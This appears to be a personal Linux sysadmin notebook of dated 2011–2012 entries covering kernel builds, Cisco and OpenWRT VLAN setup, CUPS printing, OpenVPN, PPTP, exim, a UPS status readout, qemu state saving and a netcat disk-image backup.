the two give the diff of the modules installed. On the non-working system I trided to modprobe each of the missing ones: some loaded. Those that did not load are missing. cat lsmod.txt | awk '{print $1}' | sort > 1.txt lsmod | awk '{print $1}' | sort > 2.txt diff 1.txt 2.txt Entry: Wheezy Date: Sun Dec 11 18:53:41 EST 2011 Upgrading Acer TX to Wheezy. I'm having trouble running "make menuconfig" for a new kernel: tom@tx:/opt/src/linux-3.1.5$ make menuconfig *** Unable to find the ncurses libraries or the *** required header files. *** 'make menuconfig' requires the ncurses libraries. *** *** Install ncurses (ncurses-devel) and try again. *** make[1]: *** [scripts/kconfig/dochecklxdialog] Error 1 make: *** [menuconfig] Error 2 And yes, I do have libncurses5-dev installed: Actually, I don't.. Funny. What is that about? Now after installing it works. I did install some build stuff for building a debian kernel, maybe that fixed it? Now it works. Brain fart? So, aborted upgrade. Let's leave it at mixed squeeze/wheezy for now. Entry: Cisco 831 VLAN Date: Thu Dec 15 09:24:13 EST 2011 (sent to superuser.com [1]) Cisco 831 VLAN config. I'm looking for a simple, fast way to configure a Cisco 831 router to do VLAN untagging. I'd like to do something like this: PORT 1 (E0) VLAN 1,2,3,4 tagged PORT 2-4 (E0) VLAN 2,3,4 untagged PORT (E1) VLAN 1 untagged All other features should be off. Just plain and simple untagging. RTFM pointers also welcome. I'm a total Cisco newbie. EDIT: It turns out that the IOS firmware it's running doesn't support VLAN tagging. It's apparently possible to upgrade this (the place where I got it from did that) though it requires an additional licence. Makes the box useless for what I need it now.. Switching back to OpenWRT and a good old WRT-54G. [1] http://superuser.com/questions/368305/cisco-831-vlan-config Entry: Cisco 831 console log Date: Thu Dec 15 13:01:00 EST 2011 System Bootstrap, Version 12.2(8r)YN, RELEASE SOFTWARE (fc1) TAC Support: http://www.cisco.com/tac Copyright (c) 2002 by cisco Systems, Inc. C800/SOHO series (Board ID: 29-129) platform with 49152 Kbytes of main memory program load complete, entry point: 0x80013000, size: 0x4e93f8 Self decompressing the image : ######################################################################################################## [OK] Restricted Rights Legend Use, duplication, or disclosure by the Government is subject to restrictions as set forth in subparagraph (c) of the Commercial Computer Software - Restricted Rights clause at FAR sec. 52.227-19 and subparagraph (c) (1) (ii) of the Rights in Technical Data and Computer Software clause at DFARS sec. 252.227-7013. cisco Systems, Inc. 170 West Tasman Drive San Jose, California 95134-1706 Cisco Internetwork Operating System Software IOS (tm) C831 Software (C831-K9O3Y6-M), Version 12.2(13)ZH4, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1) Synched to technology version 12.2(14.5)T Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2004 by cisco Systems, Inc. Compiled Wed 24-Mar-04 18:04 by ealyon Image text-base: 0x800131E8, data-base: 0x80A00FC4 Compliance with U.S. Export Laws and Regulations - Encryption This product performs encryption and is regulated for export by the U.S. Government. This product is not authorized for use by persons located outside the United States and Canada that do not have prior approval from Cisco Systems, Inc. or the U.S. Government. This product may not be exported outside the U.S. and Canada either by physical or electronic means without PRIOR approval of Cisco Systems, Inc. or the U.S. Government. Persons outside the U.S. and Canada may not re-export, resell, or transfer this product by either physical or electronic means without prior approval of Cisco Systems, Inc. or the U.S. Government. CISCO C831 (MPC857DSL) processor (revision 0x400) with 44237K/4915K bytes of memory. Processor board ID AMB0824039N (2371804892), with hardware revision 0000 CPU rev number 7 Bridging software. 2 Ethernet/IEEE 802.3 interface(s) 128K bytes of non-volatile configuration memory. 12288K bytes of processor board System flash (Read/Write) 2048K bytes of processor board Web flash (Read/Write) � � Press RETURN to get started! *Mar 1 00:00:06.171: %LINK-3-UPDOWN: Interface Ethernet1, changed state to up *Mar 1 00:00:07.279: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1, changed state to up *Mar 1 00:00:16.927: %LINK-3-UPDOWN: Interface Ethernet0, changed state to up 00:00:17: %SYS-5-CONFIG_I: Configured from memory by console 00:00:18: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet0, changed state to up 00:00:18: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1, changed state to down 00:00:21: %SYS-5-RESTART: System restarted -- Cisco Internetwork Operating System Software IOS (tm) C831 Software (C831-K9O3Y6-M), Version 12.2(13)ZH4, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1) Synched to technology version 12.2(14.5)T Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2004 by cisco Systems, Inc. Compiled Wed 24-Mar-04 18:04 by ealyon 00:00:21: %SNMP-5-COLDSTART: SNMP agent on host Router is undergoing a cold start Entry: Lab VLAN setup Date: Thu Dec 15 14:31:26 EST 2011 # port 1-4 (external number markings) -> VLAN 11-14 # external internal # 1 3 # 2 2 # 3 1 # 4 0 # INTERNET 4 # (CPU) 5 # New config: INTERNET and CPU see the tagged frames, other ports are # untagged robocfg vlan 11 ports "3 4t 5t" robocfg vlan 12 ports "2 4t 5t" robocfg vlan 13 ports "1 4t 5t" robocfg vlan 14 ports "0 4t 5t" # Remove old config: VLAN0 (LAN) is unused, disable wifi on eth1. # VLAN1 is the local net connection which is untagged on 4 (INTERNET) # to be able to log into the box. robocfg vlan 0 ports 5t ifconfig eth1 down # On host do this: # for i in 11 12 13 14; do vconfig add eth0 $i; done Entry: Non -fPIC libstdc++.a Date: Sun Dec 18 09:19:11 EST 2011 This version gives linking trouble when building C++ shared libraries due to it not being compiled with -fPIC: /usr/lib/gcc/x86_64-linux-gnu/4.4.5/libstdc++.a However, it seems I do have a higher version installed (dpkg -l libstdc++6) libstdc++6 4.6.2-5 What's up here? This is the machine where the compilation fails: libstdc++6-4.4-dev 4.4.5-10 A machine with working compilation has this: libstdc++6-4.4-dev 4.4.6-11 I'm going this to see what it gives: sudo apt-get install libstdc++6-4.4-de Entry: emacs + debugging build Date: Sun Jan 1 09:38:54 EST 2012 I'd like to solve a recurring problem with emacs where it gets stuck waiting on a frame that is not reached, either a remote X frame or a tty frame no longer reachable i.e. after the machine it was running on is disconnected from the network / powered off. Need: emacs with debugging symbols, possibly non-optimized build. gdb + attach, or always run emacs in gdb. Entry: burn.dvd Date: Sat Jan 28 09:52:25 EST 2012 I'm burning a 720x400 16x9 aspect ISO, but on the dvd player it comes out as a 4x3 aspect. What's up? [1] http://zwizwa.be/darcs/pool/bin/burn.dvd Entry: 1650EN toner Date: Tue Jan 31 14:57:28 EST 2012 $80 Konica Minolta A0V30GF Cyan Toner Cartridge for Magicolor 1600W / 1650EN / 1680MF / 1690MF Printers $90 Konica Minolta A0V30CF High Capacity Magenta Toner Cartridge for Magicolor 1600W/1650EN/1680MF/169 $100 Konica Minolta A0V306F Yellow High-Capacity Toner Cartridge for Magicolor 1600W/1650EN/1680MF/1690MF Printers http://www.jr.com/konica-minolta/pe/MIN_A0V306F/ http://www.adorama.com/KCYHCT.html Entry: Printing again Date: Sat Feb 4 19:49:04 EST 2012 Can you believe it? Problem was triggered by a pdf generated from TurboTax online version. Magicolor 1650EN choked on the pdf, or should I say the PS generated from the pdf by foomatic. After using pdf2ps -> ps2pdf (a trick that sometimes works with bad pdfs, i.e. those made by openoffice) I could print 1 or 2 pages at a time, but more seems to take a lot of time. I'm loosing patience after 1.5 hours for 9 pages. pdf2djvu also complains about it, but I thought to try to first convert it to raster and then print it again. That also gave trouble. Things went a lot better after installing the proper PPD file from [1]. Tss... if that was it then I really deserved loosing a couple of hours. [1] http://onyxftp.mykonicaminolta.com/download/SearchResults.aspx?productid=1165 Entry: TV standards evolve backwards Date: Thu Feb 9 09:07:19 EST 2012 Ubunto on an Acer Revo started out pixel perfect in the installer, but once running it's not aligned well. Maybe this has to do with switching drivers to the proprietary ones? See here[1] for why this is such a mess. [1] http://mjg59.dreamwidth.org/8705.html [2] http://www.avsforum.com/avs-vb/archive/index.php/t-693702.html Entry: Ubuntu X config Date: Thu Feb 9 13:01:23 EST 2012 From [1]: Your login script, .xinitrc, works with startx, but graphical login managers like GDM do not look for .xinitrc. Instead, they look for a file named .xsession in your home directory. To make GDM run your .xinitrc script, you have to link it to .xsession [...] Actually that doesn't work any more under lightdm. See here[2]. [1] https://help.ubuntu.com/community/CustomXSession [2] http://askubuntu.com/questions/77191/how-can-i-use-lightdm-for-user-defined-sessions Entry: XBMC on Ubuntu 11.10 on Acer Revo Date: Thu Feb 9 21:18:08 EST 2012 What works best is to install XBCM[1] and run it as an X session. Under unity I got tearing. [1] http://www.ubuntugeek.com/how-to-install-xbmc-on-ubuntu-11-04-using-ppa.html Entry: TimelineX upgrade 3.2.5 Date: Sat Feb 11 10:30:07 EST 2012 Wireless driver is now iwlwifi (was iwlagn). Entry: zwizwa crash Date: Tue Feb 14 13:32:05 EST 2012 Nothing in the logs apart from a 2 hour gaping hole. The kernel was still running (nmap from outside showed normal port profile). Console had a "Clocksource tsc unstable", about 4 seconds. Keyboard didn't respond. It happened just after the cron.daily time.. Hardware showing its age? Entry: Revo VGA Date: Fri Feb 17 18:43:24 EST 2012 * How to switch acer revo between VGA and HDMI? Currently I need to reboot with VGA monitor attached. * iSymphony TV: disable overscan / pixel-accurate mode? Using nvidia-settings it's possible to enabl overscan compensation. Entry: Cups is a FUCKING PIECE OF SHIT Date: Sun Feb 26 21:16:52 EST 2012 Today trying to print on 6x6 inch invitation paper. Tried everyting.. Apparently this is the way to do it: lp -d HL2240 -o PageSize=Custom.6x6in -o fitplot 2012weddinginvite2.pdf But still that messes things up. It worked fine on windows though, so I'm wondering where the problem really is. Is it the printer driver (all 3 printers?) or is this just CUPS being a FUCKING SHIT. The way to find out apparently is to use lp -o raw <file> and let cups stay out of the way. Maybe this would work on the minolta? Entry: Cups, how's it work? Date: Sun Feb 26 22:14:40 EST 2012 Basically, it uses PPD which is a PostScript extension for describing printer features, and a filter system that converts (postscript?) to something that can be sent to a raw printer port (lpr). Then 'lp' is a frontend that calls 'lpr'. So.. In theory, if I do the conversion of PS -> BR3 manually, I should be able to send the BR3 file to the printer. Entry: Acer TimelineX 3830-6870 fixes Date: Mon Feb 27 00:11:18 EST 2012 Power fixes[1]. Ubuntu font smoothing[2]. [1] http://askubuntu.com/questions/80266/acer-timeline-x-3830tg-battery-life [2] http://noz3001.wordpress.com/2011/07/01/ubuntu-font-rendering-on-debian-wheezy/ Entry: openvpn Date: Sun Mar 11 15:15:35 EDT 2012 Sun Mar 11 19:30:31 2012 192.168.13.49:43490 Re-using SSL/TLS context Sun Mar 11 19:30:31 2012 192.168.13.49:43490 LZO compression initialized Sun Mar 11 19:30:31 2012 192.168.13.49:43490 Control Channel MTU parms [ L:1590 D:138 EF:38 EB:0 ET:0 EL:0 ] Sun Mar 11 19:30:31 2012 192.168.13.49:43490 Data Channel MTU parms [ L:1590 D:1450 EF:58 EB:135 ET:32 EL:0 AF:3/1 ] Sun Mar 11 19:30:31 2012 192.168.13.49:43490 Local Options hash (VER=V4): '1a6d5c5d' Sun Mar 11 19:30:31 2012 192.168.13.49:43490 Expected Remote Options hash (VER=V4): 'c6c7c21a' Sun Mar 11 19:30:31 2012 192.168.13.49:43490 TLS: Initial packet from [AF_INET]192.168.13.49:43490, sid=480d5a93 a9f11c9f Sun Mar 11 19:31:31 2012 192.168.13.49:43490 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) Sun Mar 11 19:31:31 2012 192.168.13.49:43490 TLS Error: TLS handshake failed Sun Mar 11 19:31:31 2012 192.168.13.49:43490 SIGUSR1[soft,tls-error] received, client-instance restarting Sun Mar 11 19:31:31 2012 MULTI: multi_create_instance called Restarting the server side openvpnd worked. This is the second time this happened.. I've added a workaround restart in cron.daily Entry: BeBox Date: Mon Mar 12 10:42:06 CET 2012 Belgacom BeBox2: Looks like this is rather a complicated setup. * 2 ethernet TV outputs, one connected to the ethernet over power lines that go to the 2 digibox TV adapters. * 2 PC outputs. Seem to handle both ppp and plain ethernet/dhcp. The latter is good as a fallback, so I can use DNS to redirect services. * Wifi * 2 VLANS: looks like one for PC (global IP), one for TV+VOIP (local IP). * Both DHCP and PPPoE work at the same time on a single port. * It has SIP too. How does it relate to the telephone # on the analog line? Probably has nothing to do with it.. It seems to have two FXS ports for connecting analog phones. Entry: Moving zwizwa Date: Tue Mar 13 01:36:37 CET 2012 Done? Looks like it. Working: - samba - squid - printer - smtp - openvpn - imap - spamassassin - clamav - privoxy - server backups - asterisk (new) - quagga TODO: Entry: monit Date: Tue Mar 13 11:06:54 CET 2012 Samba was down this morning. Thngs don't seem to run very smoothly... Let's try out some system monitoring. Entry: apt-get install network-manager Date: Sun Mar 18 22:49:59 CET 2012 Sees useful.. Didn't use it yet since I still have trouble with the wireless card.. Entry: ioctl[SIOCSIWENCODEEXT]: Invalid argument Date: Wed Mar 21 16:38:29 CET 2012 Something goes wrong when wpa_supplicant tries to configure the network. # wpa_supplicant -iwlan0 -c/tmp/wpa_supplicant.conf ioctl[SIOCSIWENCODEEXT]: Invalid argument ioctl[SIOCSIWENCODEEXT]: Invalid argument I can see other things go wrong with iwconfig/iwlist, so there is definitely something not right. This is on an Acer Aspire TimelineX 3830T-6807, model P3MJ0, MFG Date 2011/08. Using "-dd" I find that these 2 errors correspond to this, which gives me the impression that that is not the problem: wpa_driver_wext_set_key: alg=0 key_idx=0 set_tx=0 seq_len=0 key_len=0 wpa_driver_wext_set_key: alg=0 key_idx=1 set_tx=0 seq_len=0 key_len=0 wpa_driver_wext_set_key: alg=0 key_idx=2 set_tx=0 seq_len=0 key_len=0 wpa_driver_wext_set_key: alg=0 key_idx=3 set_tx=0 seq_len=0 key_len=0 wpa_driver_wext_set_key: alg=0 key_idx=4 set_tx=0 seq_len=0 key_len=0 ioctl[SIOCSIWENCODEEXT]: Invalid argument Driver did not support SIOCSIWENCODEEXT wpa_driver_wext_set_key: alg=0 key_idx=5 set_tx=0 seq_len=0 key_len=0 ioctl[SIOCSIWENCODEEXT]: Invalid argument Driver did not support SIOCSIWENCODEEXT i.e. it succeeds for ids 0-3 but fails for 4 and 5. It proceeds to scan, which times out once but seems to continue properly. I see I had a wrong essid.. Fixing that it still seems to kick me off here and there.. However, now my usual scripts work. Conclusion: stupid typo! ARGH! Entry: Delays Date: Sun Mar 25 13:45:56 CEST 2012 Looks like my IPv6 config is causing some delays: # strace ssh localhost ... connect(3, {sa_family=AF_INET6, sin6_port=htons(22), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28 Another thing: I accedentally chmod 775 my homedir, which made ssh refuse to use pubkey auth. Switching back to 755 fixed that. Entry: How to secure PPTP Date: Mon Mar 26 14:17:52 CEST 2012 Android supports PPTP and IPsec. The latter is too much hassle to set up so I use PPTP. There are 2 big problems: - PPTP uses plaintext password authentication. - It can't use a fixed ppp<x> naming scheme; it simply uses the first one available. This complicates firewall scripts. First, let's sniff the traffic to see if it's indeed plaintext password. I did not see the password in clear text. Indeed, it uses CHAP[1]. I'm leaving the firewall rules hardcoded for ppp1. Hope this won't interfere with the ppp0 DSL line, that would suck. [1] http://en.wikipedia.org/wiki/Challenge-Handshake_Authentication_Protocol Entry: PPTP and SIP routing troubles Date: Wed Mar 28 18:00:41 CEST 2012 [ ramblings ] Adding some creative routing for SIP server seems to work, but this also needs to do the RTP servers, which seem to be different. There are several issues: - routing setup on both sides. one side is complex since it has multiple hosts. - does sip have multiple hosts? a bit provider-dependent.. depending on how the load balancing works, there is no real reason to keep RTP server stable. - PPTP DNS: it helps to override some hosts on the local net / VPN to patch directly to a local IP. Entry: Routing Date: Wed Mar 28 18:12:34 CEST 2012 TODO: fix routing daemon. I changed something in quagga and now it's totally broken.. Entry: Upgrading to zni to linux-image-3.2.0-2-rt-amd64 Date: Thu Apr 5 17:40:00 CEST 2012 tom@zni:~$ cat /etc/kernel/postinst.d/initramfs-tools #!/bin/sh # passing the kernel version is required [ -z "$1" ] && exit 0 # kernel-package passes an extra arg; hack to not run under kernel-package # http://www.mail-archive.com/debian-kernel@lists.debian.org/msg45846.html # [ -z "$2" ] || exit 0 # we're good - create initramfs. update runs do_bootloader update-initramfs -c -t -k "$1" firmware: r8169: rtl_nic/rtl8168f-2.fw, rtl_nic/rtl8168f-1.fw, rtl_nic/rtl8105e-1.fw, │ │ rtl_nic/rtl8168e-3.fw, rtl_nic/rtl8168e-2.fw, rtl_nic/rtl8168e-1.fw, │ │ rtl_nic/rtl8168d-2.fw, rtl_nic/rtl8168d-1.fw Doesn't want to boot /dev/mapper/vg1-root Looks like symlinks are not there.. for me that's /dev/mapper/dm-3 I tried to boot it with /dev/dm-3 but that didn't work.. Looks like it's time to re-learn the new linux infrastructure. Too many things have changed recently. [1] http://unix.stackexchange.com/questions/11125/lvm-devices-under-dev-mapper-missing Entry: Hetzner trouble Date: Wed Apr 18 16:53:16 EDT 2012 Something wrong with their routing? tom@zoo:~$ ping zwizwa.be PING zwizwa.be (78.47.83.9) 56(84) bytes of data. From hos-tr2.ex3k26.rz6.hetzner.de (213.239.229.159) icmp_seq=45 Time to live exceeded Save degamma IP, might be something wrong somewhere else.. Ah, they're moving :) Entry: OpenVPN broken after move Date: Thu Apr 19 08:15:10 EDT 2012 /dev/tap0 not accessible from withing vserver. Thu Apr 19 12:11:52 2012 OpenVPN 2.1.3 i486-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Oct 21 2010 Thu Apr 19 12:11:52 2012 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables Thu Apr 19 12:11:52 2012 Diffie-Hellman initialized with 1024 bit key Thu Apr 19 12:11:52 2012 /usr/bin/openssl-vulnkey -q -b 1024 -m <modulus omitted> Thu Apr 19 12:11:52 2012 TLS-Auth MTU parms [ L:1590 D:138 EF:38 EB:0 ET:0 EL:0 ] Thu Apr 19 12:11:52 2012 Socket Buffers: R=[112640->131072] S=[112640->131072] Thu Apr 19 12:11:52 2012 Note: Cannot ioctl TUNSETIFF tap0: Operation not permitted (errno=1) Thu Apr 19 12:11:52 2012 Note: Attempting fallback to kernel 2.2 TUN/TAP interface Thu Apr 19 12:11:52 2012 Cannot open TUN/TAP dev /dev/tap0: No such file or directory (errno=2) Thu Apr 19 12:11:52 2012 Exiting This worked: create the tap devices on the host, then restart the vserver. tunctl -b -t tap0 tunctl -b -t tap1 Entry: Adding an extra listen port to exim4 Date: Thu Apr 19 08:43:38 EDT 2012 hunk ./default/exim4 22 -SMTPLISTENEROPTIONS='' +SMTPLISTENEROPTIONS='-oX 2525:25 -oP /var/run/exim4/exim.pid' [1] http://hackervisions.org/?p=360 Entry: Configure exim relay Date: Thu Apr 19 09:24:08 EDT 2012 For now all relay is disabled except for known hosts on internal network. How to setup an SMTP server that can be used for sending from the internet? Does it need passwords? Entry: Concatenate mp3 files Date: Sun Apr 29 14:58:14 EDT 2012 From [1], but this didn't work. ffmpeg -i concat:file1.mp3\|file2.mp3 -acodec copy output.mp3 ffmpeg -i concat:1jack.mp3\|2melissa.mp3\|3margaret.mp3 -acodec copy poems.mp3 ffmpeg complains: concat:1jack.mp3|2melissa.mp3|3margaret.mp3: no such file or directory So I'm just using cat. Not sure if it will work on the player though it should. Somehow I believe that all mpeg streams can just be concatenated, allowed by the standard.. [1] http://superuser.com/questions/314239/how-to-join-merge-many-mp3-files Entry: udev problem Date: Sat May 12 16:17:24 EDT 2012 I see the same at boot: zoo:/dev/disk# /etc/init.d/udev restart CONFIG_SYSFS_DEPRECATED must not be selected ... (warning). Booting will continue in 30 seconds but many things will be broken ... (warning). Stopping the hotplug events dispatcher: udevd. Starting the hotplug events dispatcher: udevd. Entry: NFS on VMs Date: Thu May 17 10:51:33 EDT 2012 When mounting NFS exports on a VM with VM host as NFS client, care needs to be taken to break the following loop: - VM needs to shut down before HOST - HOST needs to unmount VM shares before VM shutdown Best way to go: - stop automounter on host - halt VM - halt host or restart automounter There seem to be several tricks around this, but from my experience it doesn't always work to recover from this. Closing the mount before shutting down the NFS server seems to be the only reliable way. Just rebooting the VM when NFS mounts are active is OK. NFS mount on client will just block until server comes up again. Remaining question: how to properly halt a raw KVM machine? Entry: CONFIG_SYSFS_DEPRECATED Date: Thu May 17 10:57:38 EDT 2012 CONFIG_SYSFS_DEPRECATED must not be selected! ... (warning). Booting will continue in 30 seconds but many things will be broken. ... (warning). I get this on at least 2 hosts for about a year or so. Nothing seems to be broken. What's this about? Entry: Hangs in S05keymap.sh on serial console Date: Thu May 17 11:35:24 EDT 2012 Checking the script keymap.sh it seems to delegate to console-setup package if present, so let's try this first: apt-get install console-setup Yep, that worked. Entry: Quick & dirty image backup Date: Thu May 17 13:35:32 EDT 2012 # Source pv /dev/sda | netcat -q0 <host> <port> # Dest netcat -l -p <port> | pv | >sda.img Of course, this might cause a bit of corruption in the currently open files if you do this from a rw partition. Best run it from single user mode after setting root FS as readonly. init 1 mount / -no remount,ro Entry: Backups Date: Mon Jun 11 18:48:38 EDT 2012 seagate # live backups lacie verbatim Entry: New low-power server Date: Mon Jun 18 23:48:07 EDT 2012 I asked GLLUG[1]. [1] http://mailman.egr.msu.edu/mailman/public/linux-user/2012-June/017089.html Entry: Verizon DROID2 root Date: Sat Jun 23 10:20:10 EDT 2012 4.5.629.A956.Verizon.en.US Android 2.3.4 No crack? [1] [1] http://rootzwiki.com/topic/19555-another-update/page__st__30 Entry: Snapshotting trick Date: Sun Jun 24 10:14:45 EDT 2012 Problem: I have a VM exporting NFS shares to its host. This is a nasty circular dependency that's hard to manage. However, running OpenWRT I recently found a trick used for filesystems to break a loop: try to remount readonly when there is a dependency preventing unmount. The same can be done for a vm: reboot in snapshot mode to allow for proper save of the image, but keep serving the NFS. After save, the VM has no persistent state so can be killed at any time. Entry: Sandboxing main network for drop-in server replace Date: Sun Jun 24 11:03:54 EDT 2012 I'd like to test a replacement of a server on the 192.168.6.0/24 subnet (net6) without taking out the main server. How to sandbox this? A NAT would be the solution, but it can't have net6 on both sides because that would mess up the routing. Buffering it with an intermediate network segment should work, i.e. internet -NAT- net6 -ROUTE- net7 -NAT- net6' The net6' is the sandboxed server for the new setup, and net6 is the current setup. The net6' server doesn't know about net6 in this case because of the NAT. The trouble is then, how to log in from net6 to net6' ? Seems that I can only get to the net6' router by logging in through net7, or using some other IP address space on the ethernet segment next to IP of net6'. With this setup, devices can be moved from net6 to net6' to test the new server. Since NAT is one of the features of net6/net6' it comes for free and doesn't need to be a separate box. Also, net7' I already had for a different purpose (untrusted internal network only connected to internet and a few limited services). EDIT: It seems that when running a perfect copy (including fixed MAC address for ISP workaround) this gives trouble. Workaround: a separate dnsmasq instance running on a different host's secondary port (I'm using VLAN connected to a programmable switch) + masquerading on that host's main ethernet port to hide the IP address space. I'm trying a workaround using a VM, which should "buffer" the MAC. ( Hmm.. something else is going on... ) Entry: Firewall cleanup Date: Sun Jun 24 15:13:51 EDT 2012 I have many network interfaces, but really only 3 classes: - Untrusted (internet): things like SSH, VPN, SIP, ... - Semi-trusted: local wireless - Trusted: LAN + VPN Outgoing/forward I want to make sure trusted can access everything, semi-trusted can not acess the trusted network, and untrusted can not access semi-trusted and trusted. For these I use bridging to make them share 3 IP segments. It seems that bridging counts as routing for FORWARD, but as a normal interface for IN/OUT. It's probably good to put these 3 behaviours in chains. So.. is a user-defined chain a call/return or a jump? I think it's a jump, because user-defined chains cannot have policies (default jump target). Yep, that's the case[1]. Hmm... I don't really have a good intuitive grasp of the basics of iptables.. Asterisk takes a lot of CPU but I wonder if this isn't just because it's swapping the code in and out.. Can't filter on aliases, i.e. br0:0 since they are not real interfaces. [1] http://en.wikipedia.org/wiki/Iptables Entry: OpenWRT ipv6 tunnel Date: Thu Jul 5 09:14:38 EDT 2012 Installing aiccu. Seems that there's again a problem with kernel module versions. How to solve this properly? Does it need a kernel upgrade? Entry: Backup stuff Date: Tue Jul 17 18:11:23 EDT 2012 One remaining thing running on zoo is automatic backups. After that it can be switched off at night. Done. TODO: add separate keys to disambiguate zuk/zoo on vpn. Entry: Upgrade Date: Tue Jul 17 18:19:38 EDT 2012 apt-get install firmware-realtek │ Required firmware files may be missing │ │ │ │ This system is currently running Linux 2.6.33.7-rt29 and you are installing Linux 3.2.0-3-rt-amd64. In the new version some of the drivers used on this system may require │ │ additional firmware files: │ │ │ │ r8169: rtl_nic/rtl8168f-2.fw, rtl_nic/rtl8168f-1.fw │ │ │ │ Most firmware files are not included in the system because they do not conform to the Debian Free Software Guidelines. You may need to reconfigure the package manager to │ │ include the contrib and non-free sections of the package archive before you can install these firmware files. Entry: KVM + hibernate host? Date: Tue Jul 17 19:15:22 EDT 2012 Doesn't seem to work. When resuming, the kvm binary spins using 300% CPU. Though s2ram does work. EDIT: I uses "s2disk" directly and this seems to work fine. Entry: Figuring out T-mobile GSM Date: Thu Jul 19 08:54:49 EDT 2012 Maybe it's because my huaweiy E220 doesn't support the 1700 band? Maybe I should switch to AT&T? [1] http://forum.xda-developers.com/showthread.php?t=1722891 Entry: APC Back-UPS ES 550G Date: Thu Jul 19 11:01:08 EDT 2012 Installed apcupsd and changed config file to usb device, left the other Debian defaults. zoo:/home/tom# apcaccess APC : 001,034,0858 DATE : 2012-07-19 10:59:54 -0400 HOSTNAME : zoo VERSION : 3.14.10 (13 September 2011) debian UPSNAME : zoo CABLE : USB Cable DRIVER : USB UPS Driver UPSMODE : Stand Alone STARTTIME: 2012-07-19 10:59:53 -0400 MODEL : Back-UPS ES 550G STATUS : ONLINE LINEV : 117.0 Volts LOADPCT : 34.0 Percent Load Capacity BCHARGE : 100.0 Percent TIMELEFT : 19.2 Minutes MBATTCHG : 5 Percent MINTIMEL : 3 Minutes MAXTIME : 0 Seconds SENSE : Medium LOTRANS : 092.0 Volts HITRANS : 139.0 Volts ALARMDEL : 30 seconds BATTV : 13.5 Volts LASTXFER : No transfers since turnon NUMXFERS : 0 TONBATT : 0 seconds CUMONBATT: 0 seconds XOFFBATT : N/A STATFLAG : 0x07000008 Status Flag SERIALNO : 4B1205P26980 BATTDATE : 2012-02-02 NOMINV : 120 Volts NOMBATTV : 12.0 Volts FIRMWARE : 843.K4 .D USB FW:K4 END APC : 2012-07-19 11:00:22 -0400 I'm a bit worried about this: LOTRANS : 092.0 Volts HITRANS : 139.0 Volts That seems like a big fluctuation. I've seen some flickering (incandescent) lights also.. Tested it: Broadcast Message from root@zoo (somewhere) at 11:37 ... Power failure on UPS zoo. Running on batteries. zoo:/home/tom# apcaccess APC : 001,035,0890 DATE : 2012-07-19 11:37:08 -0400 HOSTNAME : zoo VERSION : 3.14.10 (13 September 2011) debian UPSNAME : zoo CABLE : USB Cable DRIVER : USB UPS Driver UPSMODE : Stand Alone STARTTIME: 2012-07-19 10:59:53 -0400 MODEL : Back-UPS ES 550G STATUS : ONBATT LINEV : 000.0 Volts LOADPCT : 39.0 Percent Load Capacity BCHARGE : 088.0 Percent TIMELEFT : 14.0 Minutes MBATTCHG : 5 Percent MINTIMEL : 3 Minutes MAXTIME : 0 Seconds SENSE : Medium LOTRANS : 092.0 Volts HITRANS : 139.0 Volts ALARMDEL : 30 seconds BATTV : 11.9 Volts LASTXFER : Low line voltage NUMXFERS : 1 XONBATT : 2012-07-19 11:36:53 -0400 TONBATT : 15 seconds CUMONBATT: 15 seconds XOFFBATT : N/A STATFLAG : 0x07060010 Status Flag SERIALNO : 4B1205P26980 BATTDATE : 2012-02-02 NOMINV : 120 Volts NOMBATTV : 12.0 Volts FIRMWARE : 843.K4 .D USB FW:K4 END APC : 2012-07-19 11:37:08 -0400 Broadcast Message from root@zoo (somewhere) at 11:37 ... Power has returned on UPS zoo... So computer stayed on fine, but the SIP phone rebooted when switching from battery to line. Not a big deal I guess. I wanted to measure the waveform so I plugged the Rigol scope in the UPS. It gives a 3-step square approximation. However, switching the power back glitched the computer. Unplugging the monitor solved the issue. Maybe the initial current inrush is too much to handle? Probably best to plug the computer separately, or not plug anything else, maybe just phone. Let's try that. Nope, it still glitches with PC + phone + hub. Maybe it's just because battery is near empty? Or do I misunderstand something. This might not be designed to handle power coming up again? Let's try to put PC to sleep and cycle. I really need something that works reliably to bridge a couple of minutes without shutting PC down.. Yep, that works. So maybe I should get a more powerful model. It does glitch the phone, but the energy stored in the PC power supply seems to be enough to survive the glitch. It might be better to upgrade to a more powerful model. Anyways, lets just put this one to the test in a real situation after it's charged for a day. Entry: UPS manual Date: Thu Jul 19 12:42:29 EDT 2012 Yeah I'm not too happy with these glitches, but it's good enough to work with: - When properly charged it seems to do OK with when switching it on again after a minute or so. - When half charged it seems best to suspend the PC. Entry: Low-end UPS Date: Thu Jul 19 13:05:05 EDT 2012 Found some comment about not switching back fast enough to mains on low-end UPS. [1] http://forums.anandtech.com/showpost.php?p=33692426&postcount=97 [2] http://forums.anandtech.com/showthread.php?p=33689148 Entry: s2ram & USB mount Date: Thu Jul 19 16:54:31 EDT 2012 Got trouble with USB drives after s2ram: one is there, the other one isn't. Also, usb keyboard resets; have to run xmodmap. Entry: Saving qemu state Date: Thu Jul 19 19:27:48 EDT 2012 (qemu) stop (qemu) migrate “exec: dd of=state.img” To load state.img on startup when present, do something like: [ -f state.img ] && INCOMING=-incoming STATE="exec:dd if=state.img" MONITOR="-monitor unix:$(dirname $0)/monitor,server,nowait" qemu ... $INCOMING "$STATE" $MONITOR ... The monitor is for use with the following script: zoo:/qemu/ubit.d# cat hibernate #!/bin/bash cat <<EOF | socat - unix:$(dirname $0)/monitor stop migrate "exec:dd of=state.img" quit EOF Entry: PTP USB camera Date: Sat Jul 21 08:42:20 EDT 2012 gphoto2 -P Entry: Email file Date: Sat Jul 21 10:19:36 EDT 2012 echo | mutt tom@xxx -a IMG_6695.JPG -s IMG_6695.JPG for i in *.JPG; do echo | mutt tom@xxx -a $i -s $i; done Entry: UPS: AVR vs. contact closure Date: Mon Jul 23 15:10:01 EDT 2012 [1] 